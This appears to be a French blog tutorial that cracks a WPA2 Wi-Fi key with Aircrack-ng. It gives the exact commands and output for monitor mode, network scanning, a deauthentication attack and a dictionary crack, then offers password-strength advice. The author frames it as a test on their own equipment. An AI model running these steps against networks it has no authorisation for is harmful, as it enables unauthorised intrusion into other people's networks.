LA MÉTHODE
Le principe est simple, il faut avoir une clé wifi qui permet de faire du monitoring, afin d'enregistrer les paquets qui circulent sur une liaison wifi entre la box et un autre appareil (ordi, tablette, smartphone...) que nous nommerons station.
Nous allons forcer cette station à se déconnecter, afin de pouvoir enregistrer l'échange de données au moment de la reconnexion. On parlera de Handshake (poignée de main in english).
Nous comparerons enfin la Handshake enregistrée, à une liste de mots, dans l'espoir de trouver une correspondance.
COMMENTAIRES
La méthode est plutôt discrète. On n'intervient que ponctuellement sur la connexion visée et le crackage lui même se faisant hors-ligne, sur un enregistrement, on peut mettre tout le temps que l'on veut sans aucun risque de repérage.
Tous les tests présentés ici ont été réalisés sur MON PROPRE MATÉRIEL. Je rappelle qu'il est interdit de pénétrer un réseaux sans l'autorisation de son propriétaire.
Vous comprendrez par la suite que la majorité des vantards du net qui vous livrent en pâture leurs exploits de pirates ne font que pirater leur propre matériel, en toute connaissance du code wifi qu'ils prétendent découvrir.
LOGICIELS : AIRCRACK-NG
Pour la suite des opérations, je vais considérer que nous sommes sous Debian, Ubuntu ou ses déclinaisons. Personnellement, je suis sous Mint.
La suite logicielle qui va nous permettre ces opérations s'appelle Aircrack-ng. Elle est disponible avec sa documentation en anglais ici : https://www.aircrack-ng.org
Avant toute manipulation, passez en mode root et mettez vous dans le dossier root.
sudo su cd ~
Ensuite, installez tout simplement aircrack-ng.
apt-get install reaver aircrack-ng
IDENTIFICATION DE LA CLE WIFI : IWCONFIG
Pour identifier la clé on tape la commande iwconfig et le nom de la clé doit apparaitre sous la forme wlan... ou wl...
root@i5-750:~# iwconfig enp2s0 no wireless extensions. lo no wireless extensions. wlx10bef56e7db6 IEEE 802.11 ESSID:"Icaunis" Mode:Managed Frequency:2.427 GHz Access Point: E4:5D:51:11:D9:BE Bit Rate=57.8 Mb/s Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:on Link Quality=57/70 Signal level=-53 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:9 Missed beacon:0 root@i5-750:~#
Ici la clé s'appelle wlx10bef56e7db6.
PASSER EN MONITORING : AIRMON-NG
Avant de passer en monitoring, on dresse la liste des processus qui risquent de poser des problèmes, grâce à la commande airmon-ng check.
root@i5-750:~# airmon-ng check Found 6 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 796 wpa_supplicant 797 NetworkManager 804 avahi-daemon 830 avahi-daemon 1272 dhclient 2837 dhclient
Un airmon-ng check kill stoppera une bonne partie des processus listés.
root@i5-750:~# airmon-ng check kill Killing these processes: PID Name 796 wpa_supplicant 1272 dhclient 3478 avahi-daemon 3479 avahi-daemon
On lance le mode monitoring avec une commande airmon-ng start.
root@i5-750:~# airmon-ng start wlx10bef56e7db6 Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 3486 avahi-daemon 3487 avahi-daemon PHY Interface Driver Chipset phy0 wlx10bef56e7db6 rt2800usb D-Link Corp. Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name. (mac80211 monitor mode vif enabled on [phy0]wlan0mon (mac80211 station mode vif disabled for [phy0]wlx10bef56e7db6)
Notez qu'il reste toujours deux processus qui pourraient perturber le travail.
Plus important, le mode monitor a été activé et la clé a été renommée wla0mon. Il faut bien noter ce nom car c'est celui que nous utiliserons pour la suite des opérations.
IDENTIFICATION DES RÉSEAUX WIFI DISPONIBLES : AIRODUMP-NG
Nous allons chercher les points d'accès et box disponibles à proximité.
root@i5-750:~# airodump-ng wlan0mon
Chez moi, j'obtiens la liste suivante :
CH 11 ][ Elapsed: 3 mins ][ 2018-12-29 08:47 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID E4:5D:51:11:D9:XX -49 137 28 0 4 54e WPA2 CCMP PSK IcaXXX 00:16:38:7F:F6:B0 -56 133 6 0 11 54 WPA2 CCMP PSK F-7FF6A5 F4:F2:6D:EB:1C:XX -58 142 0 0 4 54e. WPA2 CCMP PSK IcaXXX 62:95:04:DE:D7:XX -66 128 0 0 1 54e WPA2 CCMP MGT SFR WiFi Mobile 24:95:04:DE:D7:XX -67 134 3 0 1 54e WPA CCMP PSK SFR_D7XX 62:95:04:DE:D7:XX -66 131 0 0 1 54e OPN SFR WiFi FON 00:26:44:F2:BD:XX -80 74 0 0 1 54e WPA2 CCMP PSK Bbox-E46BXX A0:39:EE:83:A4:XX -83 55 0 0 11 54e WPA2 CCMP PSK Livebox-A4XX 14:0C:76:A2:87:XX -80 80 0 0 9 54e WPA2 CCMP PSK Freebox-A287XX 6A:5D:51:12:1A:XX -83 127 0 0 11 54 OPN SFR WiFi FON E4:5D:51:18:71:XX -84 5 1 0 6 54e WPA2 CCMP PSK SFR_71XX E4:5D:51:CF:83:XX -87 41 4 0 1 54e WPA2 CCMP PSK SFR_83XX 44:CE:7D:36:A3:XX -84 4 0 0 1 54e WPA CCMP PSK SFR_A3XX 6A:5D:51:18:71:XX -84 3 0 0 6 54 OPN SFR WiFi FON 6A:5D:51:12:1A:XX -84 122 0 0 11 54 WPA2 CCMP MGT SFR WiFi Mobile 62:5D:51:CF:83:XX -85 49 0 0 1 54 WPA2 CCMP MGT SFR WiFi Mobile E4:5D:51:12:1A:XX -84 117 41 0 11 54e WPA2 CCMP PSK SFR_1AXX E4:9E:12:83:75:XX -85 43 0 0 3 54e WPA2 CCMP MGT FreeWifi_secure 14:0C:76:A2:87:XX -84 75 0 0 9 54e WPA2 CCMP MGT FreeWifi_secure 62:5D:51:CF:83:XX -86 47 0 0 1 54 OPN SFR WiFi FON 14:0C:76:A2:87:XX -86 77 0 0 9 54e OPN FreeWifi 72:CE:7D:36:A3:XX -86 19 0 0 1 54e OPN SFR WiFi FON E4:9E:12:83:75:XX -87 45 0 0 3 54e WPA2 CCMP PSK Freebox-8375XX E4:9E:12:83:75:XX -86 31 1 0 3 54e OPN FreeWifi AC:84:C9:55:D5:XX -1 0 1 0 6 -1 WPA <length: 0> 6A:5D:51:18:71:XX -84 5 0 0 6 54 WPA2 CCMP MGT SFR WiFi Mobile 72:CE:7D:36:A3:XX -82 5 0 0 1 54e WPA2 CCMP MGT SFR WiFi Mobile BSSID STATION PWR Rate Lost Frames Probe E4:5D:51:11:D9:XX F4:F2:6D:EB:1C:XX -56 0e- 0e 0 20 00:16:38:7F:F6:B0 F8:CF:C5:7A:A4:79 -34 54 - 6 0 16 Netgear-D108 24:95:04:DE:D7:XX 68:B3:5E:43:F9:XX -72 0 - 1 13 2 00:26:44:F2:BD:XX 4C:72:B9:FC:A8:XX -84 0 - 1 0 2 44:CE:7D:36:A3:XX EC:10:7B:F8:49:XX -1 1e- 0 0 1 E4:9E:12:83:75:XX 04:1E:64:F1:21:XX -1 1e- 0 0 1 AC:84:C9:55:D5:XX E4:0E:EE:26:60:XX -82 0 - 1e 0 4
Pour des questions de confidentialité, j'ai volontairement remplacé certains caractères par "XX".
Seul mon matériel apparait en clair :
- Ma box nommée (ESSID) F-7FF6A5 sur le canal 11 avec la Mac Address (BSSID) 00:16:38:7F:F6:B0.
- Mon poste qui sert de station avec la Mac Address F8:CF:C5:7A:A4:79
Vous noterez la puissance (PWR) des réseaux. Plus le nombre est faible, plus le signal est fort. Au-dessus de 60 dBm la liaison devient faible. Au-dessus de 80 dBm elle est inexploitable. Quand bien même je voudrais pirater un de mes voisins, on voit bien qu'il reste peu de possibilités d'obtenir une connexion fiable.
Autre remarque : rappelez-vous, nous devons déconnecter une station pour capturer le Handshake. Il n'y a que 7 stations connectées, ce qui limite là aussi les possibilité. On peut bien-sûr attendre qu'une station se connecte, mais ça peut prendre du temps.
Bref ! Pour la suite, nous considèrerons que nous voulons cracker la borne ayant les caractéristique suivantes :
- ESSID = F-7FF6A5
- CH = 11
- BSSID = 00:16:38:7F:F6:B0
- STATION = F8:CF:C5:7A:A4:79
ENREGISTREMENT DU HANDSHAKE
Pour enregistrer une handshake, il nous faut travailler dans deux terminaux. Le premier qui permet de faire tourner l'enregistrement pendant qu'on tente de déconnecter la station dans le second.
On lance d'abord l'enregistrement dans le premier terminal avec une commande airodump-ng ciblée :
root@i5-750:~# airodump-ng wlan0mon --essid F-7FF6A5 -c 11 -a -w test
- --essid F-7FF6A5 cible l'enregistrement sur ce point d'accès uniquement
- -c 11 permet de rester uniquement sur le canal 11
- -a permet d'occulter les stations qui ne sont pas connectées
- -w test déclare l'enregistrement des paquets dans test-01.CAP
Dans le deuxième terminal, en mode root, on lance la commande de déconnexion de la station :
root@i5-750:~# aireplay-ng --deauth 1 -a 00:16:38:7F:F6:B0 -c F8:CF:C5:7A:A4:79 wlan0mon
- --deauth est la commande de désauthentification
- 1 ici on lance une fois la commande
- -a 00:16:38:7F:F6:B0 Mac Address du point d'accès wifi
- -c F8:CF:C5:7A:A4:79 Mac Address de la station
- wlan0mon nom de la carte wifi en mode monitor
root@i5-750:~# aireplay-ng --deauth 1 -a 00:16:38:7F:F6:B0 -c F8:CF:C5:7A:A4:79 wlan0mon 11:01:15 Waiting for beacon frame (BSSID: 00:16:38:7F:F6:B0) on channel 11 11:01:16 Sending 64 directed DeAuth. STMAC: [F8:CF:C5:7A:A4:79] [28|64 ACKs]
Dans plusieurs "tutos" on conseille de lancer la commande en boucle en remplaçant le 1 par 50 par exemple. Il est préférable de relancer la commande en attendant un peu, une commande en boucle peut avoir pour effet de mettre la station en sécurité. J'ai même vu le point d'accès changer de canal.
Une fois les deux commandes lancées, il faut attendre que la Handshake soit signalée en haut de la fenêtre d'enregistrement.
Pour moi une seule commande aireplay-ng --deauth aura suffit. J'obtiens le message suivant dans le premier terminal :
CH 11 ][ Elapsed: 12 s ][ 2018-12-29 11:01 ][ WPA handshake: 00:16:38:7F:F6:B0 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:16:38:7F:F6:B0 -60 100 111 35 15 11 54 WPA2 CCMP PSK F-7FF6A5 BSSID STATION PWR Rate Lost Frames Probe 00:16:38:7F:F6:B0 F8:CF:C5:7A:A4:79 -22 54 - 6 0 111 Netgear-D108,F-7FF6A5
On lit bien en haut WPA handshake: 00:16:38:7F:F6:B0.
On peut vérifier par une commande de listing ls que le fichier test-01.cap est bien présent. Si on procède à un deuxième essai, le fichier s'appellera test-02.cap et ainsi de suite.
CRACKAGE DU CODE WIFI : AIRCRACK-NG
Pour cracker le code wifi, il faut comparer l'enregistrement avec une wordlist. C'est un fichier qui contient des codes en clair. Une multitude de wordlists sont disponibles en cherchant un peu.
Vous trouverez les wordlists que j'ai utilisées en annexe de ce billet.
Voici la commande pour trouver le code wifi à partir de la capture test-01.cap et du fichier words.txt placé dans ~/aircrack :
root@i5-750:~# aircrack-ng -w ~/aircrack/words.txt test-01.cap
Le résultat ne se fait pas trop attendre :
Aircrack-ng 1.2 rc4 [00:00:44] 129952/177071 keys tested (2973.70 k/s) Time left: 15 seconds 73.39% KEY FOUND! [ sandwich ] Master Key : 01 BA E8 D8 F8 33 84 90 A0 59 AA 26 A9 E2 F8 52 DE 09 0B C8 E1 8C 0F B5 AB 12 04 98 59 85 A5 5C Transient Key : 43 31 71 C3 EF 24 A1 E9 1E DE ED 5C A7 8A 20 AE 97 D4 9C 1A 8B A9 08 78 2A 59 55 C3 00 41 60 B5 B3 1A BB 62 92 F9 A2 94 8A 7B EC 0D D1 8F 1A 47 90 F3 73 66 74 B1 8A 51 27 1F 8F 35 24 91 9A 9C EAPOL HMAC : 41 02 5E 56 75 5D A7 7C 1D 8E 19 68 91 57 21 20
Le code wifi est bien celui que j'avais déclaré : sandwich
Aircrack-ng a mis 44 secondes pour le trouver en le comparant à une liste de 177 071 mots, c'était le 129 952ème. Ce qui donne une vitesse de comparaison proche de 3 000 codes / seconde (pour une liste de codes relativement simples). Pour info mon poste date un peu, il est équipé d'un processeur i5 750 cadencé à 2.66 GHz et de 16Go de RAM.
ANALYSE
J'ai réussi à cracker le code car il était dans la wordlist, c'est d'ailleurs un hasard.
J'insiste sur ce fait, car il faut bien avoir une liste qui contient la clé cherchée pour réussir le piratage. Imaginez la même tentative avec un code sécurisé type Orange, Free, SFR et autres.
Pour un code Orange, il y a 26 caractères hexadécimaux.
Par exemple : C44D 9A65 92C7 595C 1961 F7D4 EE
26 caractères hexadécimaux, ça donne 16^26 combinaisons possibles, soit 2,02824096×10³¹ combinaisons.
Il est impossible de créer un fichier contenant toutes ces combinaisons, et quand bien même on y arriverait, avec mon ordinateur il faudrait 6,760803201×10²⁷s pour tester la liste complète de combinaisons possibles, soit 2,347501112×10²⁶ jours, soit 6,431509895×10²³ années.
Je vous laisse refaire les calculs ;-).
POURQUOI CHANGER SON CODE WIFI ?
Pour différentes raisons, on peut être amené à changer son code wifi. On a donné le code à quelqu'un et on veut lui retirer l'accès, le code est trop compliqué à retenir et on veut le simplifier... mais la principale raison, c'est que les codes wifi donnés par défaut sont calculés à partir de données propres à la box elle même (SSID, Mac Address...).
On trouve de nombreux articles sur les failles de telle ou telle box. Les algorithmes utilisés pour le cryptage de la clé wifi a fuité et il n'est pas difficile de trouver un utilitaire permettant de cracker le code à partir d'éléments visibles en ligne (encore une fois : ESSID, Mac Address...).
Dans tous les cas il est préférable de changer le code wifi et l'ESSID dès la mise en service de la box.
COMMENT COMPOSER UN NOUVEAU CODE ?
La première mauvaise idée, c'est de mettre une suite de nombres du type "date de naissance".
Il m'aura fallu moins d'une minute pour casser le code contenant ma date de naissance (enfin presque ;-) ) : 18031981
La deuxième mauvaise idée, c'est de mettre un mot en clair, aussi long soit-il. On trouve des wordlists contenant un très grand nombre de mots de la langue française. On mettra sans doute plus de temps, mais certainement pas plus de quelques heures pour cracker le code.
Vous trouverez en ligne, des services permettant de générer des codes sécurisés : motdepasse.xyz
Un code de 20 caractères mélangeant chiffres et lettres majuscules suffit amplement.
RIONS UN PEU
Vous trouverez ci-dessous la vidéo de Mad-Attack, un hackeur franco-russe (MDR) et grand crackeur de wifi... enfin de son propre réseau wifi :
- Il trouve le code en 1s en comparant avec une liste de "codes Free"
- Il ne me semble pas que le code trouvé (7E97A98515) soit un code Free par défaut
- Les 4 premières lignes de sa recherche de points d'accès sont liées au même matériel 3A:B1:29:D1:39:Ex
- Vue la force du signal (-18 dBm), le matériel doit être chez lui, voire posé à coté de la clé wifi
- On ne voit jamais le contenu de la wordlist "Free" à l'écran
- On attend toujours les wordlists "à gogo" promises, une wordlist de 16^10 soit 1,099511628×10¹² lignes, whaou !
Allez, bonne rigolade, voilà la vidéo ;-)
Wordlists utilisées pour mes essais :
D'autres pistes :
La discussion continue ailleurs
URL de rétrolien : https://objnux.fr/index.php?trackback/92